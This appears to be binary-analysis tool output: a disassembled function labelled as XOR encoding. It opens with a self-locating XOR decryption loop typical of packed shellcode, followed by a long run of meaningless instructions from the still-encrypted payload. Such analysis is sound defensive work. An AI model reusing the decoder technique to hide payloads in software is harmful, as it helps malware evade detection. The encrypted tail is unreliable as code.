Function at 0xf01470
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf0147a
pushal
call 0xf01480
pop ebp
sub ebp, 0x10
sub ebp, 0xb01470
jmp 0xf01496
mov eax, 0xb01470
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cb
mov edx, 0x6c17e489
xor byte [eax], dl
inc eax
dec ecx
jne 0xf014ad
jmp 0xf014c0
add al, byte [edx + eax]
mov ch, 0x89
mov dword [ecx - 0x768eb7f8], ecx
mov dword [ecx - 0x70cebb76], ecx
mov dword [ecx - 0x765ecc77], ecx
mov dword [ecx + 0x418a6b7e], ecx
add cl, byte [eax]
test dword [ecx + 0x4c8a8989], ecx
fstpnce st(1), st(0)
loope 0xf0153b
inc esp
test al, 0x89
loope 0xf0150d
iretd
add cl, byte [ecx + eax*4]
mov dword [ecx - 0x7ae3fd77], ecx
mov dword [ecx - 0x66fbfd77], ecx
mov dword [ecx - 0x749fb777], ecx
mov eax, 0x8d4b0a8b
rol byte [esi + 0x76767d0c], 0x76
aam 0x4b
test dword [ecx - 0x7252fafe], ecx
mov dword [ecx + 0x4451e189], ecx
inc esp
test al, 0x89
loope 0xf0155e
iretd
lodsd eax, dword [esi]
jne 0xf01556
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
fst st(4)
jbe 0xf01558
test dword [esi - 4], esi
cld
and dword [ecx - 0xf], 0x2898989
xor al, 0x81
mov dword [ecx - 0x7ecbfd77], ecx
mov dword [ecx - 0x5187f777], ecx
or byte [ebx - 0x5187f7a9], dh
or byte [ebx - 0x45bf45a9], dh
pop ebx
or ah, byte [ecx - 0x74]
rol dword [esi - 0x767638f3], 0x89
xchg byte [ecx], al
ror dword [ecx + 0x2ef8989], 0x95
mov al, 9
jb 0xf015f3
xchg byte [0x89898993], cl
or dword [edx + 0x60], esi
xchg byte [0x89898998], cl
out dx, eax
mov edi, ebp
or byte [edx + 0x76], dh
lodsb al, byte [esi]
xchg byte [0x8989899c], cl
enter 0x4560, 0x76
jbe 0xf01628
inc ebp
jbe 0xf01627
jbe 0xf01553
mov al, byte [0xa88b0c5]
dec eax
mov word [edx], cs
popal
lea esp, [eax + 0x34]
jbe 0xf01636
lds esi, [eax - 0x73b7f578]
or ah, byte [ecx - 0x73]
pushal
xor al, 0x76
jbe 0xf01637
jbe 0xf01562
mov al, byte [0xa8bb0dd]
dec eax
invalid
fnsave dword [eax - 0x70b7f575]
or ah, byte [ebx - 0x73]
or ah, byte [ecx - 0x74]
pushal
and dh, byte [esi + 0x76]
jbe 0xf015d6
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
add al, 0xed
lodsd eax, dword [esi]
lea ecx, [ebx - 0x7b]
mov esp, ebx
add ah, byte [ebp - 0x21]
invalid
mov dword [ecx], eax
mov cs, word [eax]
dec esi
mov byte [ecx - 0x74cd7677], cl
mov dword [ecx - 0x79a47477], ecx
or al, 0x8c
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
push ecx
jbe 0xf01689
jbe 0xf015a0
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
jecxz 0xf015ae
mov dword [ecx + 0x5b8b49ba], ecx
xchg byte [esp + ecx*4], cl
mov edx, 0x865b8b49
dec ecx
mov ebx, dword [ebx - 0x7a]
or al, 0x8c
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [edx], cl
mov dword [0x8b898988], eax
or ah, byte [ebx - 0x74767678]
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
pop ebx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8989, 0x8f0d8649
mov dword [edx], eax
push esi
mov byte [0x18a0351], al
mov cs, esi
xor cl, byte [ebx + 0x60898989]
stc
jbe 0xf01706
mov dword [ecx + 0x76f96089], ecx
jbe 0xf01707
jbe 0xf016c3
xor dword [eax - 0x74767677], ecx
pop ebx
mov byte [ecx + 0x5b8b8989], cl
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b49
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xf0172d
jbe 0xf0165b
dec edx
xor cl, byte [eax - 0x79767677]
or al, 0xbd
mov dword [ecx - 0x7677cf77], ecx
mov dword [ecx + 0xc865b8b], ecx
mov word [ecx - 0x60fc7677], cs
iretd
mov ebp, 0x30898989
mov byte [ecx + 0x5b8b8989], cl
mov dword [ecx - 0x767677d0], ecx
mov dword [ebx - 0x73f379a5], ecx
xchg byte [esp + ecx*4], cl
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b40
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xf01761
jbe 0xf016cc
add bh, byte [esi - 0x5e]
jl 0xf0176c
sub eax, 0x768160d7
jbe 0xf0176f
ror dword [eax + 0x69], 0x81
add ecx, dword [edi + 0x306102cf]
mov byte [ecx + 0x5b8b8989], cl
xchg byte [esp + ecx*4], cl
iretd
mov dword [ebx - 0x73f379a5], ecx
mov ebx, dword [ebx - 0x7a]
or al, 0x8c
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
lcall 0x8c0c, 0x865b8b40
mov dword [ecx - 0x3060fc77], ecx
wait
pop ebx
xchg byte [ebx], cl
push edi
jbe 0xf0179e
jbe 0xf01732
jno 0xf016b5
hlt
mov dword [ecx + 0x76765008], ecx
jbe 0xf017ab
jbe 0xf017aa
jbe 0xf0173e
or byte [ecx - 0x77], dh
jno 0xf016c1
mov word [ecx + 0x76500889], cs
jbe 0xf017b6
jbe 0xf0174a
jno 0xf0174d
mov dword [ecx - 0x76a7f777], ecx
pop eax
mov dword [ecx + 0x71088989], ecx
or dword [ecx + 0x58088989], ecx
mov dword [ecx + 0x2df8989], ecx
jle 0xf016ff
mov dword [ecx + 0x9710889], ecx
or byte [ecx + 9], dh
mov dword [ecx - 0x76a7f777], ecx
mov dword [ecx + 0x7e02df89], ecx
mov byte [0xd72d7a79], al
jns 0xf017d9
sub eax, 0x771260d7
jbe 0xf017dc
pushal
adc dh, byte [edi + 0x76]
ja 0xf017db
jbe 0xf0176a
add ecx, dword [edi + 0x4940bacf]
invalid
inc eax
dec ecx
popal
mov byte [esi - 0x76766cf3], al
mov dword [eax], ecx
pop eax
mov ecx, dword [ecx + 0x61028989]
fild word [edx]
jle 0xf01722
or eax, 0x89898993
or byte [eax - 0x75], bl
mov dword [ecx - 0x209efd77], ecx
add bh, byte [esi - 0x5e]
jns 0xf017fc
sub eax, 0x898832d7
mov dword [ecx + 0x7677fa60], ecx
jbe 0xf01763
mov byte [0x4e0281f4], al
salc
xlatb
add ch, byte [esp + edx*8 + 0x4b]
or dword [ecx + 0x4adb502], 0x28daded
lodsd eax, dword [esi]
add al, 0xed
lodsd eax, dword [esi]
lea eax, [edx]
mov ebp, 0xaded04ad
lea esp, [eax - 0x73]
mov dword [ecx - 0x685b5e77], ecx
pushal
lea ecx, [ecx - 0x5b5e7677]
xchg edi, eax
or dh, byte [ecx]
stc
popfd
cmp dword [ecx + 0x49084c8a], ecx
loopne 0xf01748
mov dword [ecx - 0x7674d8d0], ecx
mov dword [ebx], esi
invalid
inc edx
mov ah, byte [edi + 0x471085f]
cmpsd dword [esi], dword es:[edi]
pop edi
or byte [ecx + 4], dh
int1
mov bl, 4
xor edi, dword [eax - 0x707070d1]
invalid
cmc
invalid